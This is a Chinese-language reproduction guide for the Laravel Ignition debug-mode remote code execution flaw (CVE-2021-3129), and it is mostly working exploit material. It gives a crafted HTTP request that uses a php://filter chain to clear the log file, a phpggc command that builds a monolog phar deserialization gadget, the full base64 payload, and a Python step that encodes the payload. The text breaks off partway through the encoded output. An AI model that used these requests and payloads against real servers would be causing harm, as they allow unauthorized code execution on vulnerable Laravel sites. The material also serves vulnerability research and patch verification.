漏洞复现--laravel＜=8.4.2 Debug RCE

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前言

2021年01月12日，Laravel被披露存在一个远程代码执行漏洞（CVE-2021-3129）。当Laravel开启了Debug模式时，由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用，攻击者可以通过发起恶意请求，构造恶意Log文件等方式触发Phar反序列化，最终造成远程代码执行。

影响范围

laravel <= 8.4.2
Ignition <= 2.5.1
开启debug

CVE编号

CVE-2021-3129

复现步骤

清空 log

POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.136.167:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.136.167:8000/_ignition/execute-solution
Content-Type: application/json
Content-Length: 320
Connection: close
Upgrade-Insecure-Requests: 1

{
	"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
	"parameters":{
		"variableName": "username",
		"viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=/var/www/laravel/storage/logs/laravel.log"
	}
}

生成phar文件并base64

php -d'phar.readonly=0' ./phpggc monolog/rce1 call_user_func phpinfo --phar phar -o php://output | base64 -w0

PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQrZAgAAAgAAABEAAAABAAAAAACCAgAATzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6OToiACoAc29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7TzoyOToiTW9ub2xvZ1xIYW5kbGVyXEJ1ZmZlckhhbmRsZXIiOjc6e3M6MTA6IgAqAGhhbmRsZXIiO047czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czo3OiJwaHBpbmZvIjtzOjU6ImxldmVsIjtOO319czo4OiIAKgBsZXZlbCI7TjtzOjE0OiIAKgBpbml0aWFsaXplZCI7YjoxO3M6MTQ6IgAqAGJ1ZmZlckxpbWl0IjtpOi0xO3M6MTM6IgAqAHByb2Nlc3NvcnMiO2E6Mjp7aTowO3M6NzoiY3VycmVudCI7aToxO3M6MTQ6ImNhbGxfdXNlcl9mdW5jIjt9fXM6MTM6IgAqAGJ1ZmZlclNpemUiO2k6LTE7czo5OiIAKgBidWZmZXIiO2E6MTp7aTowO2E6Mjp7aTowO3M6NzoicGhwaW5mbyI7czo1OiJsZXZlbCI7Tjt9fXM6ODoiACoAbGV2ZWwiO047czoxNDoiACoAaW5pdGlhbGl6ZWQiO2I6MTtzOjE0OiIAKgBidWZmZXJMaW1pdCI7aTotMTtzOjEzOiIAKgBwcm9jZXNzb3JzIjthOjI6e2k6MDtzOjc6ImN1cnJlbnQiO2k6MTtzOjE0OiJjYWxsX3VzZXJfZnVuYyI7fX19BQAAAGR1bW15BAAAANNQBGAEAAAADH5/2LQBAAAAAAAACAAAAHRlc3QudHh0BAAAANNQBGAEAAAADH5/2LQBAAAAAAAAdGVzdHRlc3R5dqEGHXRSkD3PRm3X6/hNNh1MXQIAAABHQk1C

quoted-printable-encode

Python 3.8.5 (default, Jul 28 2020, 12:59:40) 
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> a = 'PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQrZAgAAAgAAABEAAAABAAAAAACCAgAATzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6OToiACoAc29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7TzoyOToiTW9ub2xvZ1xIYW5kbGVyXEJ1ZmZlckhhbmRsZXIiOjc6e3M6MTA6IgAqAGhhbmRsZXIiO047czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czo3OiJwaHBpbmZvIjtzOjU6ImxldmVsIjtOO319czo4OiIAKgBsZXZlbCI7TjtzOjE0OiIAKgBpbml0aWFsaXplZCI7YjoxO3M6MTQ6IgAqAGJ1ZmZlckxpbWl0IjtpOi0xO3M6MTM6IgAqAHByb2Nlc3NvcnMiO2E6Mjp7aTowO3M6NzoiY3VycmVudCI7aToxO3M6MTQ6ImNhbGxfdXNlcl9mdW5jIjt9fXM6MTM6IgAqAGJ1ZmZlclNpemUiO2k6LTE7czo5OiIAKgBidWZmZXIiO2E6MTp7aTowO2E6Mjp7aTowO3M6NzoicGhwaW5mbyI7czo1OiJsZXZlbCI7Tjt9fXM6ODoiACoAbGV2ZWwiO047czoxNDoiACoAaW5pdGlhbGl6ZWQiO2I6MTtzOjE0OiIAKgBidWZmZXJMaW1pdCI7aTotMTtzOjEzOiIAKgBwcm9jZXNzb3JzIjthOjI6e2k6MDtzOjc6ImN1cnJlbnQiO2k6MTtzOjE0OiJjYWxsX3VzZXJfZnVuYyI7fX19BQAAAGR1bW15BAAAANNQBGAEAAAADH5/2LQBAAAAAAAACAAAAHRlc3QudHh0BAAAANNQBGAEAAAADH5/2LQBAAAAAAAAdGVzdHRlc3R5dqEGHXRSkD3PRm3X6/hNNh1MXQIAAABHQk1C'
>>> ''.join(["=" + hex(ord(i))[2:] + "=00" for i in a]).upper()
'=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=72=00=5A=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=43=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=7A=00=4D=00=6A=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=46=00=4E=00=35=00=63=00=32=00=78=00=76=00=5A=00=31=00=56=00=6B=00=63=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=32=00=39=00=6A=00=61=00=32=00=56=00=30=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=49=00=35=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=35=00=76=00=62=00=47=00=39=00=6E=00=58=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=4A=00=63=00=51=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=53=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=36=00=4E=00=7A=00=70=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=37=00=54=00=7A=00=6F=00=79=00=4F=00=54=00=6F=00=69=00=54=00=57=00=39=00=75=0